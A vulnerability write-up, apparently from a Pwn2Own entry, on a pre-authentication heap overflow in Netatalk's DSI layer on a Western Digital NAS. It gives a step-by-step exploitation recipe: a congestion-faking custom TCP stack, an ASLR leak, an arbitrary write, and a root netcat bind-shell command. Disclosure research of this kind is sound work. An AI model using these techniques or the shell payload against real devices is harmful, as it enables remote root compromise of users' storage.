Original text by Etienne Helluy-Lafont , Luca Moro Exploit — Download
Vulnerability details and analysis
ENVIRONMENT
The Western Digital MyCloudHome is a consumer grade NAS with local network and cloud based functionalities. At the time of the contest (firmware 7.15.1-101) the device ran a custom Android distribution on a armv8l CPU. It exposed a few custom services and integrated some open source ones such as the Netatalk daemon. This service was a prime target to compromise the device because it was running with root privileges and it was reachable from adjacent network. We will not discuss the initial surface discovery here to focus more on the vulnerability. Instead we provide a detailed analysis of the vulnerabilty and how we exploited it.
Netatalk [2] is a free and Open Source [3] implementation of the Apple Filing Protocol (AFP) file server. This protocol is used in networked macOS environments to share files between devices. Netatalk is distributed via the service afpd, also available on many Linux distributions and devices. So the work presented in this article should also apply to other systems.
Western Digital modified the sources a bit to accommodate the Android environment [4], but their changes are not relevant for this article so we will refer to the official sources.
AFP data is carried over the Data Stream Interface (DSI) protocol [5]. The exploited vulnerability lies in the DSI layer, which is reachable without any form of authentication.
OVERVIEW OF SERVER IMPLEMENTATION
The DSI layer
The server is implemented as an usual fork server with a parent process listening on the TCP port 548 and forking into new children to handle client sessions. The protocol exchanges different packets encapsulated by Data Stream Interface (DSI) headers of 16 bytes.
#define DSI_BLOCKSIZ 16 struct dsi_block { uint8_t dsi_flags; /* packet type: request or reply */ uint8_t dsi_command; /* command */ uint16_t dsi_requestID; /* request ID */ union { uint32_t dsi_code; /* error code */ uint32_t dsi_doff; /* data offset */ } dsi_data; uint32_t dsi_len; /* total data length */ uint32_t dsi_reserved; /* reserved field */ };
A request is usually followed by a payload which length is specified by the
The meaning of the payload depends on what
As we will see later, Netatalk implements a replay cache based on this id to avoid executing a command twice.
It is also worth mentioning that the AFP protocol supports different schemes of authentication as well as anonymous connections.
But this is out of the scope of this write-up as the vulnerability is located in the DSI layer, before AFP authentication.
Few notes about the server implementation
The DSI struct
To manage a client in a child process, the daemon uses a
#define DSI_DATASIZ 65536 /* child and parent processes might interpret a couple of these * differently. */ typedef struct DSI { /* ... */ struct dsi_block header; /* ... */ uint8_t *commands; /* DSI receive buffer */ uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */ size_t datalen, cmdlen; off_t read_count, write_count; uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */ int socket; /* AFP session socket */ int serversock; /* listening socket */ /* DSI readahead buffer used for buffered reads in dsi_peek */ size_t dsireadbuf; /* size of the DSI read ahead buffer used in dsi_peek() */ char *buffer; /* buffer start */ char *start; /* current buffer head */ char *eof; /* end of currently used buffer */ char *end; /* ... */ } DSI;
We mainly see that the struct has:
- The
heap buffer used for receiving the user input, initialized incommandwith a default size of 1MB ;dsi_init_buffer()
-
to specify the size of the input incmdlen;command
- An inlined
buffer of 64KB used for the reply ;data
-
to specify the size of the output indatalen;data
- A read ahead heap buffer managed by the pointers
,buffer,start,eof, with a default size of 12MB also initialized inend.dsi_init_buffer()
The main loop flow
After receiving
void afp_over_dsi(AFPObj *obj) { DSI *dsi = (DSI *) obj->dsi; /* ... */ /* get stuck here until the end */ while (1) { /* ... */ /* Blocking read on the network socket */ cmd = dsi_stream_receive(dsi); /* ... */ switch(cmd) { case DSIFUNC_CLOSE: /* ... */ case DSIFUNC_TICKLE: /* ...*/ case DSIFUNC_CMD: /* ... */ function = (u_char) dsi->commands[0]; /* ... */ err = (*afp_switch[function])(obj, dsi->commands, dsi->cmdlen, &dsi->data, &dsi->datalen); /* ... */ default: LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd); dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); dsi_writeflush(dsi); break; }
The receiving process
In the previous snippet, we saw that an idling server will receive the client data in
dsi_stream_receive(DSI* dsi) 1. define char block[DSI_BLOCKSIZ] in its stack to receive a DSI header 2. dsi_buffered_stream_read(dsi, block, sizeof(block)) wait for a DSI header 1. from_buf(dsi, block, length) Tries to fetch available data from already buffered input in-between dsi->start and dsi->end 2. recv(dsi->socket, dsi->eof, buflen, 0) Tries to receive at most 8192 bytes in a buffering attempt into the look ahead buffer The socket is non blocking so the call usually fails 3. dsi_stream_read(dsi, block, len)) 1. buf_read(dsi, block, len) 1. from_buf(dsi, block, len) Tries again to get data from the buffered input 2. readt(dsi->socket, block, len, 0, 0); Receive data on the socket This call will wait on a recv()/select() loop and is usually the blocking one 3. Populate &dsi->header from what has been received 4. dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) 1. calls buf_read() to fetch the DSI payload If not enough data is available, the call wait on select()
The main point to notice here is that the server is only buffering the client data in the
THE VULNERABILITY
As seen in the previous snippets, in the main loop,
We assume that the purpose of those two functions is to flush both the input and the output buffer, eventually purging the look ahead buffer. However these functions are really peculiar and calling them here doesn’t seem correct. Worst,
size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_) { size_t bytes = 0; dsi->datasize = ntohl(dsi->header.dsi_len) - dsi->header.dsi_data.dsi_doff; if (dsi->eof > dsi->start) { /* We have data in the buffer */ bytes = MIN(dsi->eof - dsi->start, dsi->datasize); memmove(buf, dsi->start, bytes); // potential overflow here dsi->start += bytes; dsi->datasize -= bytes; if (dsi->start >= dsi->eof) dsi->start = dsi->eof = dsi->buffer; } LOG(log_maxdebug, logtype_dsi, "dsi_writeinit: remaining DSI datasize: %jd", (intmax_t)dsi->datasize); return bytes; }
In the above code snippet, both variables
However there is an important limitation:
Fortunately, there is still a complex way to buffer more than 8KB of data and to trigger this overflow. The next parts explain how to reach that point and exploit this vulnerability to achieve code execution.
Exploitation
TRIGGERING THE VULNERABILITY
Finding a way to push data in the look ahead buffer
The curious case of dsi_peek()
While the receiving process is not straightforward, the sending one is even more confusing. There are a lot of different functions involved to send back data to the client and an interesting one is
Here is the function documentation:
/* * afpd is sleeping too much while trying to send something. * May be there's no reader or the reader is also sleeping in write, * look if there's some data for us to read, hopefully it will wake up * the reader so we can write again. * * @returns 0 when is possible to send again, -1 on error */ static int dsi_peek(DSI *dsi)
In other words,
static int dsi_peek(DSI *dsi) { /* ... */ while (1) { /* ... */ FD_ZERO(&readfds); FD_ZERO(&writefds); if (dsi->eof < dsi->end) { /* space in read buffer */ FD_SET( dsi->socket, &readfds); } else { /* ... */ } FD_SET( dsi->socket, &writefds); /* No timeout: if there's nothing to read nor nothing to write, * we've got nothing to do at all */ if ((ret = select( maxfd, &readfds, &writefds, NULL, NULL)) <= 0) { if (ret == -1 && errno == EINTR) /* we might have been interrupted by out timer, so restart select */ continue; /* give up */ LOG(log_error, logtype_dsi, "dsi_peek: unexpected select return: %d %s", ret, ret < 0 ? strerror(errno) : ""); return -1; } if (FD_ISSET(dsi->socket, &writefds)) { /* we can write again */ LOG(log_debug, logtype_dsi, "dsi_peek: can write again"); break; } /* Check if there's sth to read, hopefully reading that will unblock the client */ if (FD_ISSET(dsi->socket, &readfds)) { len = dsi->end - dsi->eof; /* it's ensured above that there's space */ if ((len = recv(dsi->socket, dsi->eof, len, 0)) <= 0) { if (len == 0) { LOG(log_error, logtype_dsi, "dsi_peek: EOF"); return -1; } LOG(log_error, logtype_dsi, "dsi_peek: read: %s", strerror(errno)); if (errno == EAGAIN) continue; return -1; } LOG(log_debug, logtype_dsi, "dsi_peek: read %d bytes", len); dsi->eof += len; } }
Here we see that if the
One question remains: how to reach dsi_peek()?
Reaching dsi_peek()
While there are multiple ways to get into that function, we focused on the
afp_over_dsi() dsi_cmdreply(dsi, err) dsi_stream_send(dsi, dsi->data, dsi->datalen); dsi_stream_write(dsi, block, sizeof(block), 0)
From there the following code is executed:
ssize_t dsi_stream_write(DSI *dsi, void *data, const size_t length, int mode) { /* ... */ while (written < length) { len = send(dsi->socket, (uint8_t *) data + written, length - written, flags); if (len >= 0) { written += len; continue; } if (errno == EINTR) continue; if (errno == EAGAIN || errno == EWOULDBLOCK) { LOG(log_debug, logtype_dsi, "dsi_stream_write: send: %s", strerror(errno)); if (mode == DSI_NOWAIT && written == 0) { /* DSI_NOWAIT is used by attention give up in this case. */ written = -1; goto exit; } /* Try to read sth. in order to break up possible deadlock */ if (dsi_peek(dsi) != 0) { written = -1; goto exit; } /* Now try writing again */ continue; } /* ... */
In the above code, we see that in order to reach
Summarizing the objectives and the strategy
So to summarize, in order to push data into the look ahead buffer one can:
- Send a logout command to reach
.dsi_cmdreply
- In
, find a way to make thedsi_stream_writesyscall fail.send()
- In
find a way to makedsi_peek()only returns a readable socket.select()
Getting a remote system to fail at sending data, while maintaining the stream open is tricky. One funny way to do that is to mess up with the TCP networking layer. The overall strategy is to have a custom TCP stack that will simulate a network congestion once a logout request is sent, but only in one direction. The idea is that the remote application will think that it can not send any more data, while it can still receive some.
Because there are a lot of layers involved (the networking card layer, the kernel buffering, the remote TCP congestion avoidance algorithm, the userland stack (?)) it is non trivial to find the optimal way to achieve the goals. But the chosen approach is a mix between two techniques:
- Zero’ing the TCP windows of the client side, letting the remote one think our buffer is full ;
- Stopping sending ACK packets for the server replies.
This strategy seems effective enough and the exploit manages to enter the wanted codepath within a few seconds.
Writing a custom TCP stack
To achieve the described strategy we needed to re-implement a TCP networking stack. Because we did not want to get into low-levels details, we decided to use scapy [6] and implemented it in Python over raw sockets.
The class
The most noteworthy details of
One prerequisite of our exploit is that the attacker kernel must be «muzzled down» so that it doesn’t try to interpret incoming and unexpected TCP segments.
Indeed the Linux TCP stack is not aware of our shenanigans on the TCP connection and he will try to kill it by sending RST packets.
One can prevent Linux from sending RST packets to the target, with an iptables rule like this:
# iptables -I OUTPUT -p tcp -d TARGET_IP --dport 548 --tcp-flags RST RST -j DROP
Triggering the bug
To sum up, here is how we managed to trigger the bug. The code implementing this is located in the function
- Open a session by sending DSIOpenSession.
- In a bulk, send a lot of DSICommand requests with the logout function 0x14 to force the server to get into dsi_cmdreply().
From our tests 3000 commands seems enough for the targeted hardware. - Simulate a congestion by advertising a TCP windows size of 0 while stopping to ACK reply the server replies.
After a short while the server should be stuck in dsi_peek() being only capable of receiving data. - Send a DSI dummy and invalid command with a dsi_len and payload larger than 64KB.
This command is received in dsi_peek() and later consumed in dsi_stream_receive() / dsi_stream_read() / buf_read().
In the exploit we use the command id DSIFUNC_MAX+1 to enter the default case of the afp_over_dsi() switch. - Send a block of raw data larger than 64KB.
This block is also received in dsi_peek() while the server is blocked but is consumed in dsi_writeinit() by overflowing dsi->data and the tail of the dsi struct. - Start to acknowledge again the server replies (3000) by sending ACK back and a proper TCP window size.
This triggers the handling of the logout commands that were not handled before the obstruction, then the invalid command to reach the overflow.
The whole process is done pretty quickly in a few seconds, depending on the setup (usually less than 15s).
GETTING A LEAK
To exploit the server, we need to know where the main binary (apfd) is loaded in memory. The server runs with Address Space Layout Randomization (ASLR) enabled, therefore the base address of apfd changes each time the server gets started. Fortunately for us, apfd forks before handling a client connection, so the base address will remain the same across all connections even if we crash a forked process.
In order to defeat ASLR, we need to leak a pointer to some known memory location in the apfd binary. To obtain this leak, we can use the overflow to corrupt the tail of the
Here are the relevant part of the main loop of
/ in afp_over_dsi() case DSIFUNC_CMD: function = (u_char) dsi->commands[0]; /* AFP replay cache */ rc_idx = dsi->clientID % REPLAYCACHE_SIZE; LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID); if (replaycache[rc_idx].DSIreqID == dsi->clientID && replaycache[rc_idx].AFPcommand == function) { LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s", dsi->clientID, AfpNum2name(function)); err = replaycache[rc_idx].result; /* AFP replay cache end */ } else { dsi->datalen = DSI_DATASIZ; dsi->flags |= DSI_RUNNING; /* ... */ if (afp_switch[function]) { /* ... */ err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen); /* ... */ /* Add result to the AFP replay cache */ replaycache[rc_idx].DSIreqID = dsi->clientID; replaycache[rc_idx].AFPcommand = function; replaycache[rc_idx].result = err; } } /* ... */ dsi_cmdreply(dsi, err) /* ... */
Here is the code for
int dsi_cmdreply(DSI *dsi, const int err) { int ret; LOG(log_debug, logtype_dsi, "dsi_cmdreply(DSI ID: %u, len: %zd): START", dsi->clientID, dsi->datalen); dsi->header.dsi_flags = DSIFL_REPLY; dsi->header.dsi_len = htonl(dsi->datalen); dsi->header.dsi_data.dsi_code = htonl(err); ret = dsi_stream_send(dsi, dsi->data, dsi->datalen); LOG(log_debug, logtype_dsi, "dsi_cmdreply(DSI ID: %u, len: %zd): END", dsi->clientID, dsi->datalen); return ret; }
When the server receives the same command twice (same
This is fortunate because the
Then, by sending a
In the following heap data, we hopefully expect to find pointers into afpd main image.
From our experiments we found out that most of the time, by requesting a leak of 2MB+64KB we get parts of the heap where
typedef struct hash_t { #if defined(HASH_IMPLEMENTATION) || !defined(KAZLIB_OPAQUE_DEBUG) struct hnode_t **hash_table; /* 1 */ hashcount_t hash_nchains; /* 2 */ hashcount_t hash_nodecount; /* 3 */ hashcount_t hash_maxcount; /* 4 */ hashcount_t hash_highmark; /* 5 */ hashcount_t hash_lowmark; /* 6 */ hash_comp_t hash_compare; /* 7 */ hash_fun_t hash_function; /* 8 */ hnode_alloc_t hash_allocnode; hnode_free_t hash_freenode; void *hash_context; hash_val_t hash_mask; /* 9 */ int hash_dynamic; /* 10 */ #else int hash_dummy; #endif } hash_t; hash_t *hash_create(hashcount_t maxcount, hash_comp_t compfun, hash_fun_t hashfun) { hash_t *hash; if (hash_val_t_bit == 0) /* 1 */ compute_bits(); hash = malloc(sizeof *hash); /* 2 */ if (hash) { /* 3 */ hash->table = malloc(sizeof *hash->table * INIT_SIZE); /* 4 */ if (hash->table) { /* 5 */ hash->nchains = INIT_SIZE; /* 6 */ hash->highmark = INIT_SIZE * 2; hash->lowmark = INIT_SIZE / 2; hash->nodecount = 0; hash->maxcount = maxcount; hash->compare = compfun ? compfun : hash_comp_default; hash->function = hashfun ? hashfun : hash_fun_default; hash->allocnode = hnode_alloc; hash->freenode = hnode_free; hash->context = NULL; hash->mask = INIT_MASK; hash->dynamic = 1; /* 7 */ clear_table(hash); /* 8 */ assert (hash_verify(hash)); return hash; } free(hash); } return NULL; }
The
Therefore by parsing the received leak, we can look for
Regrettably this strategy is not 100% reliable depending on the heap initialization of afpd.
There might be non-mapped memory ranges after the
In that case, the exploit won’t work until the device (or daemon) get restarted.
Fortunately, this situation seems rare (less than 20% of the cases) giving the exploit a fair chance of success.
BUILDING A WRITE PRIMITIVE
Now that we know where the main image and heap are located into the server memory, it is possible to use the full potential of the vulnerability and overflow the rest of the
Rewriting
The look ahead pointers of the
typedef struct DSI { /* ... */ uint8_t data[DSI_DATASIZ]; size_t datalen, cmdlen; /* begining of the overflow */ off_t read_count, write_count; uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */ int socket; /* AFP session socket */ int serversock; /* listening socket */ /* DSI readahead buffer used for buffered reads in dsi_peek */ size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */ char *buffer; /* buffer start */ char *start; /* current buffer head */ char *eof; /* end of currently used buffer */ char *end; /* ... */ } DSI;
By setting
One should takes care while setting
if (dsi->eof > dsi->start) { /* We have data in the buffer */ bytes = MIN(dsi->eof - dsi->start, dsi->datasize); memmove(buf, dsi->start, bytes); dsi->start += bytes; // the overflowed value is changed back here ... dsi->datasize -= bytes; if (dsi->start >= dsi->eof) dsi->start = dsi->eof = dsi->buffer; // ... and there }
As seen in the snippet, this is only a matter of setting
So to get a write primitive one should:
- Overflow
,dsi->buffer,dsi->endanddsi->startaccording to the write location.dsi->eof
- Send two commands in the same TCP segment.
The first command is just a dummy one, and the second command contains the data to write.
Sending two commands here seems odd but it it necessary to trigger the arbitrary write, because of the convoluted reception mechanism of
When receiving the first command,
The controlled write happens during the reception of the second command. Because the two commands were sent in the same TCP segment, the data of the second one is most likely to be available on the socket. Therefore the non-blocking
COMMAND EXECUTION
With the ability to write arbitrary data at a chosen location it is now possible to take control of the remote program.
The most obvious location to write to is the array
static AFPCmd preauth_switch[] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 0 - 7 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 8 - 15 */ NULL, NULL, afp_login, afp_logincont, afp_logout, NULL, NULL, NULL, /* 16 - 23 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 24 - 31 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 32 - 39 */ NULL, NULL, NULL, NULL, ...
As seen previously, this array is used in
err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen);
One excellent candidate to replace
int afprun(int root, char *cmd, int *outfd) { pid_t pid; uid_t uid = geteuid(); gid_t gid = getegid(); /* point our stdout at the file we want output to go into */ if (outfd && ((*outfd = setup_out_fd()) == -1)) { return -1; } /* ... */ if ((pid=fork()) < 0) { /* ... */ } /* ... */ /* now completely lose our privileges. This is a fairly paranoid way of doing it, but it does work on all systems that I know of */ if (root) { become_user_permanently(0, 0); uid = gid = 0; } else { become_user_permanently(uid, gid); } /* ... */ execl("/bin/sh","sh","-c",cmd,NULL); /* not reached */ exit(82); return 1; }
So to get a command executed as root, we transform the call:
(*afp_switch[function])(obj, dsi->commands, dsi->cmdlen, [...]);
into
afprun(int root, char *cmd, int *outfd)
The situation is the following:
-
is chosen by the client so thatfunctionis the function pointer overwritten withafp_switch[function];afprun
-
is a non-NULLobjpointer, which fits with theAFPObj*argument that should be non zero ;root
-
is a valid pointer with controllable content, where we can put a chosen command such as a binded netcat shell ;dsi->commands
-
must either be NULL or a valid pointer becausedsi->cmdlenis dereferenced in*outfd.afprun
Here is one final difficulty. It is not possible to send a
But with a NULL
The trick is to observe that
So if a client send a DSI a packet without a
As a result it is possible to send:
- A first DSI request with
being something similar todsi->command.<function_id> ; /sbin/busybox nc -lp <PORT> -e /bin/sh;
- A second DSI request with a zero
.dsi->cmdlen
This ends up calling:
(*afp_switch[function_id])(obj,"<function_id> ; /sbin/busybox nc -lp <PORT> -e /bin/sh;", 0, [...])
which is what was required to get RCE once
As a final optimization, it is even possible to send the last two DSI packets triggering code execution as the last two commands required for the write primitive.
This results in doing the
As a matter of fact, this is even easier to mix both because of a detail that is not worth explaining into that write-up.
The interested reader can refer to the exploit commentaries.
PUTTING THINGS TOGETHER
To sum up here is an overview of the exploitation process:
- Setting up the connection.
- Triggering the vulnerability with a 4 bytes overflow to rewrite
dsi->datalen.
- Sending a command with a previously used
to trigger the leak.clientID
- Parsing the leak while looking for
struct, giving pointers to the afpd main image.hash_t
- Closing the old connection and setting up a new connection.
- Triggering the vulnerability with a larger overflow to rewrite the look ahead buffer pointers of the
struct.dsi
- Sending both requests as one:
- A first
with the contentDSICommand;"<function_id> ; /sbin/busybox nc -lp <PORT> -e /bin/sh;"
- A second
with the contentDSICommandbut with a zero length&afprunanddsi_lendsi->cmdlen.
- A first
- Sending a
without content to trigger the command execution.DSICommand
CONCLUSION
During this research we developed a working exploit for the latest version of Netatalk. It uses a single heap overflow vulnerability to bypass all mitigations and obtain command execution as root. On the MyCloud Home the afpd services was configured to allow guest authentication, but since the bug was accessible prior to authentication the exploit works even if guest authentication is disabled.
The funkiest part was undoubtedly implementing a custom TCP stack to trigger the bug. This is quite uncommon for an user land and real life (as not in a CTF) exploit, and we hope that was entertaining for the reader.
Our exploit will be published on GitHub after a short delay. It should work as it on the targeted device. Adapting it to other distributions should require some minor tweaks and is left as an exercise.
Unfortunately, our Pwn2Own entry ended up being a duplicate with the Mofoffensive team who targeted another device that shipped an older version of Netatalk. In this previous release the vulnerability was in essence already there, but maybe a little less fun to exploit as it did not required to mess with the network stack.
We would like to thank:
- ZDI and Western Digital for their organization of the P2O competition, especially this session considering the number of teams and their help to setup an environment for our exploit ;
- The Netatalk team for the considerable amount of work and effort they put into this Open Source project.
TIMELINE
- 2022-06-03 — Vulnerability reported to vendor
- 2023-02-06 — Coordinated public release of advisory